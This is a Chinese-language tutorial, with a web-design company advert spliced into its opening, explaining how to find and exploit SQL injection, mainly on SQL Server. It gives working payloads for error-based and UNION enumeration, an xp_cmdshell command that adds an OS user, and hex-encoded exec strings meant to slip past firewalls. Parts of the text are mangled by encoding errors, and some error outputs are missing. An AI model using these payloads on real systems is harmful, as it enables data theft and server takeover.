這篇文章主要講解了“sql注入的方式有哪些”,文中的講解內(nèi)容簡(jiǎn)單清晰,易于學(xué)習(xí)與理解,下面請(qǐng)大家跟著小編的思路慢慢深入,一起來(lái)研究和學(xué)習(xí)“sql注入的方式有哪些”吧!
公司主營(yíng)業(yè)務(wù):網(wǎng)站設(shè)計(jì)制作、成都網(wǎng)站設(shè)計(jì)、移動(dòng)網(wǎng)站開(kāi)發(fā)等業(yè)務(wù)。幫助企業(yè)客戶真正實(shí)現(xiàn)互聯(lián)網(wǎng)宣傳,提高企業(yè)的競(jìng)爭(zhēng)能力。成都創(chuàng)新互聯(lián)公司是一支青春激揚(yáng)、勤奮敬業(yè)、活力青春激揚(yáng)、勤奮敬業(yè)、活力澎湃、和諧高效的團(tuán)隊(duì)。公司秉承以“開(kāi)放、自由、嚴(yán)謹(jǐn)、自律”為核心的企業(yè)文化,感謝他們對(duì)我們的高要求,感謝他們從不同領(lǐng)域給我們帶來(lái)的挑戰(zhàn),讓我們激情的團(tuán)隊(duì)有機(jī)會(huì)用頭腦與智慧不斷的給客戶帶來(lái)驚喜。成都創(chuàng)新互聯(lián)公司推出全南免費(fèi)做網(wǎng)站回饋大家。
sql注入的三種方式是:1、數(shù)字型注入,當(dāng)輸入的參數(shù)為整型時(shí),可能存在數(shù)字型注入漏洞;2、字符型注入,當(dāng)輸入?yún)?shù)為字符串時(shí),可能存在字符型注入漏洞;3、搜索型注入,在進(jìn)行數(shù)據(jù)搜索時(shí)沒(méi)過(guò)濾搜索參數(shù)。
本教程操作環(huán)境:windows7系統(tǒng)、python3版、Dell G3電腦。
SQL注入攻擊指的是通過(guò)構(gòu)建特殊的輸入作為參數(shù)傳入Web應(yīng)用程序,而這些輸入大都是SQL語(yǔ)法里的一些組合,通過(guò)執(zhí)行SQL語(yǔ)句進(jìn)而執(zhí)行攻擊者所要的操作,其主要原因是程序沒(méi)有細(xì)致地過(guò)濾用戶輸入的數(shù)據(jù),致使非法數(shù)據(jù)侵入系統(tǒng)。
1. 數(shù)字型注入
當(dāng)輸入的參數(shù)為整型時(shí),則有可能存在數(shù)字型注入漏洞。
假設(shè)存在一條 URL 為:HTTP://www.aaa.com/test.php?id=1
可以對(duì)后臺(tái)的 SQL 語(yǔ)句猜測(cè)為:
SELECT * FROM table WHERE id=1
判斷數(shù)字型漏洞的 SQL 注入點(diǎn):
① 先在輸入框中輸入一個(gè)單引號(hào) '
這樣的 SQL 語(yǔ)句就會(huì)變?yōu)椋?/p>
SELECT * FROM table WHERE id=1',
不符合語(yǔ)法,所以該語(yǔ)句肯定會(huì)出錯(cuò),導(dǎo)致腳本程序無(wú)法從數(shù)據(jù)庫(kù)獲取數(shù)據(jù),從而使原來(lái)的頁(yè)面出現(xiàn)異常。
② 在輸入框中輸入 and 1 = 1
SQL語(yǔ)句變?yōu)椋?/p>
SELECT * FROM table WHERE id=1 and 1 = 1
語(yǔ)句正確,執(zhí)行正常,返回的數(shù)據(jù)與原始請(qǐng)求無(wú)任何差異。
③ 在數(shù)據(jù)庫(kù)中輸入 and 1 = 2
SQL 語(yǔ)句變?yōu)椋?/p>
SELECT * FROM table WHERE id=1 and 1 = 2
雖然語(yǔ)法正確,語(yǔ)句執(zhí)行正常,但是邏輯錯(cuò)誤,因?yàn)?1 = 2 為永假,所以返回?cái)?shù)據(jù)與原始請(qǐng)求有差異。
如果以上三個(gè)步驟全部滿足,則程序就可能存在數(shù)字型 SQL 注入漏洞。
2. 字符型注入
當(dāng)輸入?yún)?shù)為字符串時(shí),則可能存在字符型注入漏洞。數(shù)字型與字符型注入最大的區(qū)別在于:數(shù)字型不需要單引號(hào)閉合,而字符型一般需要使用單引號(hào)來(lái)閉合。
字符型注入最關(guān)鍵的是如何閉合 SQL 語(yǔ)句以及注釋多余的代碼。
假設(shè)后臺(tái)的 SQL 語(yǔ)句如下:
SELECT * FROM table WHERE username = 'admin'
判斷字符型漏洞的 SQL 注入點(diǎn):
① 還是先輸入單引號(hào) admin' 來(lái)測(cè)試
這樣的 SQL 語(yǔ)句就會(huì)變?yōu)椋?/p>
SELECT * FROM table WHERE username = 'admin''。
頁(yè)面異常。
② 輸入:admin' and 1 = 1 --
注意:在 admin 后有一個(gè)單引號(hào) ',用于字符串閉合,最后還有一個(gè)注釋符 --(兩條杠后面還有一個(gè)空格?。?!)。
SQL 語(yǔ)句變?yōu)椋?/p>
SELECT * FROM table WHERE username = 'admin' and 1 = 1 --
頁(yè)面顯示正確。
③ 輸入:admin' and 1 = 2 --
SQL 語(yǔ)句變?yōu)椋?
SELECT * FROM table WHERE username = 'admin' and 1 = 2 --
頁(yè)面錯(cuò)誤。
滿足上面三個(gè)步驟則有可能存在字符型 SQL 注入。
3.搜索型注入
這是一類特殊的注入類型。這類注入主要是指在進(jìn)行數(shù)據(jù)搜索時(shí)沒(méi)過(guò)濾搜索參數(shù),一般在鏈接地址中有 "keyword=關(guān)鍵字" 有的不顯示在的鏈接地址里面,而是直接通過(guò)搜索框表單提交。此類注入點(diǎn)提交的 SQL 語(yǔ)句,其原形大致為:select * from 表名 where 字段 like '%關(guān)鍵字%' 若存在注入,我們可以構(gòu)造出類似與如下的sql注入語(yǔ)句進(jìn)行爆破:select * from 表名 where 字段 like '%測(cè)試%' and '%1%'='%1%'
以下是一些常見(jiàn)的注入叫法:
POST注入:注入字段在 POST 數(shù)據(jù)中
Cookie注入:注入字段在 Cookie 數(shù)據(jù)中
延時(shí)注入:使用數(shù)據(jù)庫(kù)延時(shí)特性注入
搜索注入:注入處為搜索的地方
base64注入:注入字符串需要經(jīng)過(guò) base64 加密
攻擊者對(duì)于數(shù)據(jù)庫(kù)注入,無(wú)非是利用數(shù)據(jù)庫(kù)獲取更多的數(shù)據(jù)或者更大的權(quán)限,利用的方式可以歸結(jié)為以下幾類:
查詢數(shù)據(jù)
讀寫(xiě)文件
執(zhí)行命令
攻擊者對(duì)于程序注入,無(wú)論任何數(shù)據(jù)庫(kù),無(wú)非都是在做這三件事,只不過(guò)不同的數(shù)據(jù)庫(kù)注入的 SQL 語(yǔ)句不一樣罷了。
這里介紹三種數(shù)據(jù)庫(kù)的注入:Oracle 11g、MySQL 5.1 和 SQL Server 2008。
SQL Server 數(shù)據(jù)庫(kù)是一個(gè)非常優(yōu)秀的數(shù)據(jù)庫(kù),它可以準(zhǔn)確地定位錯(cuò)誤信息,這對(duì)攻擊者來(lái)說(shuō)是一件十分美好的事情,因?yàn)楣粽呖梢酝ㄟ^(guò)錯(cuò)誤消息提取自己想要的數(shù)據(jù)。
① 枚舉當(dāng)前表或者列
假設(shè)選擇存在這樣一張表:
查詢 root 用戶的詳細(xì)信息,SQL 語(yǔ)句猜測(cè)如下:
SELECT * FROM user WHERE username = 'root' AND password = 'root'
攻擊者可以利用 SQL Server 特性來(lái)獲取敏感信息,在輸入框中輸入如下語(yǔ)句:
' having 1 = 1 --
最終執(zhí)行的 SQL 語(yǔ)句就會(huì)變?yōu)椋?/p>
SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --
那么 SQL 的執(zhí)行器可能會(huì)拋出一個(gè)錯(cuò)誤:
攻擊者就可以發(fā)現(xiàn)當(dāng)前的表名為 user、而且存在字段 id。
攻擊者可以利用此特性繼續(xù)得到其他列名,輸入如下語(yǔ)句:
' GROUP BY users.id HAVING 1 = 1 --
則 SQL 語(yǔ)句變?yōu)椋?/p>
SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --
拋出錯(cuò)誤:
由此可以看到包含列名 username??梢砸淮芜f歸查詢,知道沒(méi)有錯(cuò)誤消息返回位置,這樣就可以利用 HAVING 字句得到當(dāng)表的所有列名。
注:Select指定的每一列都應(yīng)該出現(xiàn)在Group By子句中,除非對(duì)這一列使用了聚合函數(shù)
②. 利用數(shù)據(jù)類型錯(cuò)誤提取數(shù)據(jù)
如果試圖將一個(gè)字符串與非字符串比較,或者將一個(gè)字符串轉(zhuǎn)換為另一個(gè)不兼容的類型,那么SQL 編輯器將會(huì)拋出異常。
如下列 SQL 語(yǔ)句:
SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)
執(zhí)行器錯(cuò)誤提示:
這就可以獲取到用戶的用戶名為 root。因?yàn)樵谧硬樵?SELECT TOP 1 username FROM users 中,將查詢到的用戶名的第一個(gè)返回,返回類型是 varchar 類型,然后要跟 int 類型的 1 比較,兩種類型不同的數(shù)據(jù)無(wú)法比較而報(bào)錯(cuò),從而導(dǎo)致了數(shù)據(jù)泄露。
利用此方法可以遞歸推導(dǎo)出所有的賬戶信息:
SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))。
通過(guò)構(gòu)造此語(yǔ)句就可以獲得下一個(gè) 用戶名;若把子查詢中的 username 換成其他列名,則可以獲取其他列的信息,這里就不再贅述。
SQL Server 提供了大量視圖,便于取得元數(shù)據(jù)??梢韵炔聹y(cè)出表的列數(shù),然后用 UNION 來(lái)構(gòu)造 SQL 語(yǔ)句獲取其中的數(shù)據(jù)。
如:
SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
若當(dāng)前表的列數(shù)為 2,則可以 UNION 語(yǔ)句獲取當(dāng)前數(shù)據(jù)庫(kù)表。具體怎么猜測(cè)當(dāng)前表的列數(shù),后面進(jìn)行描述。
一些常用的系統(tǒng)數(shù)據(jù)庫(kù)視圖:
數(shù)據(jù)庫(kù)視圖 | 說(shuō)明 |
---|---|
SYS.DATABASES | SQL Server 中的所有數(shù)據(jù)庫(kù) |
SYS.SQL_LOGINS | SQL Server 中的所有登錄名 |
INFORMATION_SCHEMA.TABLES | 當(dāng)前用戶數(shù)據(jù)庫(kù)中的所有數(shù)據(jù)表 |
INFORMATION_SCHEMA.COLUMNS | 當(dāng)前用戶數(shù)據(jù)庫(kù)中的所有列 |
SYS.ALL_COLUMNS | 用戶定義對(duì)象和系統(tǒng)對(duì)象的所有列的聯(lián)合 |
SYS.DATABASE_PRINCIPALS | 數(shù)據(jù)庫(kù)中每個(gè)權(quán)限或列異常權(quán)限 |
SYS.DATABASE_FILES | 存儲(chǔ)在數(shù)據(jù)庫(kù)中的數(shù)據(jù)庫(kù)文件 |
SYSOBJECTS | 數(shù)據(jù)庫(kù)中創(chuàng)建的每個(gè)對(duì)象 (包括約束、日志以及存儲(chǔ)過(guò)程) |
可以用 ORDER BY 語(yǔ)句來(lái)判斷當(dāng)前表的列數(shù)。
如:
① SELECT * FROM users WHERE id = 1——SQL執(zhí)行正常
②SELECT * FROM users WHERE id = 1 ORDER BY 1 (按照第一列排序)——SQL執(zhí)行正常
③ SELECT * FROM users WHERE id = 1 ORDER BY 2 (按照第二列排序)——SQL執(zhí)行正常
④ SELECT * FROM users WHERE id = 1 ORDER BY 3 (按照第三列排序)——SQL 執(zhí)行正常
⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4 (按照第四列排序)——SQL 拋出異常:
由此可以得出,當(dāng)前表的列數(shù)只有 3 列,因?yàn)楫?dāng)按照第 4 列排序時(shí)報(bào)錯(cuò)了。在 Oracle 和 MySql 數(shù)據(jù)庫(kù)中同樣適用此方法。
在得知列數(shù)后,攻擊者通常會(huì)配合 UNION 關(guān)鍵字進(jìn)行下一步的攻擊。
UNION 關(guān)鍵字將兩個(gè)或多個(gè)查詢結(jié)果組合為單個(gè)結(jié)果集,大部分?jǐn)?shù)據(jù)庫(kù)都支持 UNION 查詢。但適用 UNION 合并兩個(gè)結(jié)果有如下基本規(guī)則:
所有查詢中的列數(shù)必須相同
數(shù)據(jù)類型必須兼容
① 用 UNION 查詢猜測(cè)列數(shù)
不僅可以用 ORDER BY 方法來(lái)猜測(cè)列數(shù),UNION 方法同樣可以。
在之前假設(shè)的 user 表中有 5 列,若我們用 UNION 聯(lián)合查詢:
SELECT * FROM users WHERE id = 1 UNION SELECT 1
數(shù)據(jù)庫(kù)會(huì)發(fā)出異常:
可以通過(guò)遞歸查詢,直到無(wú)錯(cuò)誤產(chǎn)生,就可以得知 User 表的查詢字段數(shù):
UNION SELECT 1,2、UNION SELECT 1,2,3
也可以將 SELECT 后面的數(shù)字改為 null、這樣不容易出現(xiàn)不兼容的異常。
② 聯(lián)合查詢敏感信息
在得知列數(shù)為 4后,可以使用一下語(yǔ)句繼續(xù)注入:
UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U' (注:xtype=‘U’ 表示對(duì)象類型是表)
若第一列的數(shù)據(jù)類型不匹配,數(shù)據(jù)庫(kù)會(huì)報(bào)錯(cuò),那么可以遞歸查詢,直到語(yǔ)句兼容。等到語(yǔ)句正常執(zhí)行,就可以將 x 換為 SQL 語(yǔ)句,查詢敏感信息。
SQL Server 提供了非常多的系統(tǒng)函數(shù),利用該系統(tǒng)函數(shù)可以訪問(wèn) SQL Server 系統(tǒng)表中的信息,而無(wú)需使用 SQL 查詢語(yǔ)句。
如:
SELECT suser_name():返回用戶的登錄標(biāo)識(shí)名
SELECT user_name():基于指定的標(biāo)識(shí)號(hào)返回?cái)?shù)據(jù)庫(kù)用戶名
SELECT db_name():返回?cái)?shù)據(jù)庫(kù)名
SELECT is_member(‘db_owner’):是否為數(shù)據(jù)庫(kù)角色
SELECT convert(int, ‘5’):數(shù)據(jù)類型轉(zhuǎn)換
存儲(chǔ)過(guò)程 (Stored Procedure) 是在大型數(shù)據(jù)庫(kù)系統(tǒng)中為了完成特定功能的一組 SQL “函數(shù)”,如:執(zhí)行系統(tǒng)命令、查看注冊(cè)表、讀取磁盤(pán)目錄等。
攻擊者最長(zhǎng)使用的存儲(chǔ)過(guò)程是 “xp_cmdshell”,這個(gè)存儲(chǔ)過(guò)程允許用戶執(zhí)行操作系統(tǒng)命令。
例如:http://www.aaa.org/test.aspx?id=1 中存在注入點(diǎn),那么攻擊者就可以實(shí)施命令攻擊:
http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'
最終執(zhí)行的 SQL 語(yǔ)句如下:
SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
分號(hào)后面的那一段語(yǔ)句就可以為攻擊者在對(duì)方服務(wù)器上新建一個(gè)用戶名為 test、密碼為 test 的用戶。
注:并不是任何數(shù)據(jù)庫(kù)用戶都可以使用此類存儲(chǔ)過(guò)程,用戶必須持有 CONTROL SERVER 權(quán)限。
常見(jiàn)的危險(xiǎn)存儲(chǔ)過(guò)程如下表:
存儲(chǔ)過(guò)程 | 說(shuō)明 |
---|---|
sp_addlogin | 創(chuàng)建新的 SQL Server 登錄,該登錄允許用戶使用 SQL Server 身份連接到 SQL Server 實(shí)例 |
sp_dropuser | 從當(dāng)前數(shù)據(jù)庫(kù)中刪除數(shù)據(jù)庫(kù)用戶 |
xp_enumgroups | 提供 Microsoft Windows 本地組列表或在指定的 Windows 域中定義全局組列表 |
xp_regread | 讀取注冊(cè)表 |
xp_regwrite | 寫(xiě)入注冊(cè)表 |
xp_redeletevalue | 刪除注冊(cè)表 |
xp_dirtree | 讀取目錄 |
sp_password | 更改密碼 |
xp_servicecontrol | 停止或激活某服務(wù) |
另外,任何數(shù)據(jù)庫(kù)在使用一些特殊的函數(shù)或存儲(chǔ)過(guò)程時(shí),都需要特定的權(quán)限。常見(jiàn)的SQL Server 數(shù)據(jù)庫(kù)的角色與權(quán)限如下:
角色 | 權(quán)限 |
---|---|
bulkadmin | 可以運(yùn)行 BULK INSERT 語(yǔ)句 |
dbcreator | 可以創(chuàng)建、更改、刪除和還原任何數(shù)據(jù)庫(kù) |
diskadmin | 可以管理磁盤(pán)文件 |
processadmin | 可以種植在數(shù)據(jù)庫(kù)引擎中運(yùn)行的實(shí)例 |
securityadmin | 可以管理登錄名及其屬性;可以利用 GRANT、DENY 和 REVOKE 服務(wù)器級(jí)別的權(quán)限;還可以利用 GRANT、DENY 和 REVOKE 數(shù)據(jù)庫(kù)級(jí)別的權(quán)限;此外也可以重置 SQL Server 登錄名的密碼 |
serveradmin | 可以更改服務(wù)器范圍的配置選項(xiàng)和關(guān)閉服務(wù)器 |
setupadmin | 可以添加和刪除鏈接服務(wù)器,并可以執(zhí)行某些系統(tǒng)存儲(chǔ)過(guò)程 |
sysadmin | 可以在數(shù)據(jù)庫(kù)引擎中執(zhí)行任何活動(dòng) |
SQL Server 支持動(dòng)態(tài)執(zhí)行語(yǔ)句,用戶可以提交一個(gè)字符串來(lái)執(zhí)行 SQL 語(yǔ)句。
如:exec('SELECT username, password FROM users')
也可以通過(guò)定義十六進(jìn)制的 SQL 語(yǔ)句,使用 exec 函數(shù)執(zhí)行。大部分 Web 應(yīng)用程序和防火墻都過(guò)濾了單引號(hào),利用 exec 執(zhí)行十六進(jìn)制 SQL 語(yǔ)句可以突破很多防火墻及防注入程序,如:
declare @query varchar(888) select @query=0x73656C6563742031 exec(@query)
或者:
declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
感謝各位的閱讀,以上就是“sql注入的方式有哪些”的內(nèi)容了,經(jīng)過(guò)本文的學(xué)習(xí)后,相信大家對(duì)sql注入的方式有哪些這一問(wèn)題有了更深刻的體會(huì),具體使用情況還需要大家實(shí)踐驗(yàn)證。這里是創(chuàng)新互聯(lián),小編將為大家推送更多相關(guān)知識(shí)點(diǎn)的文章,歡迎關(guān)注!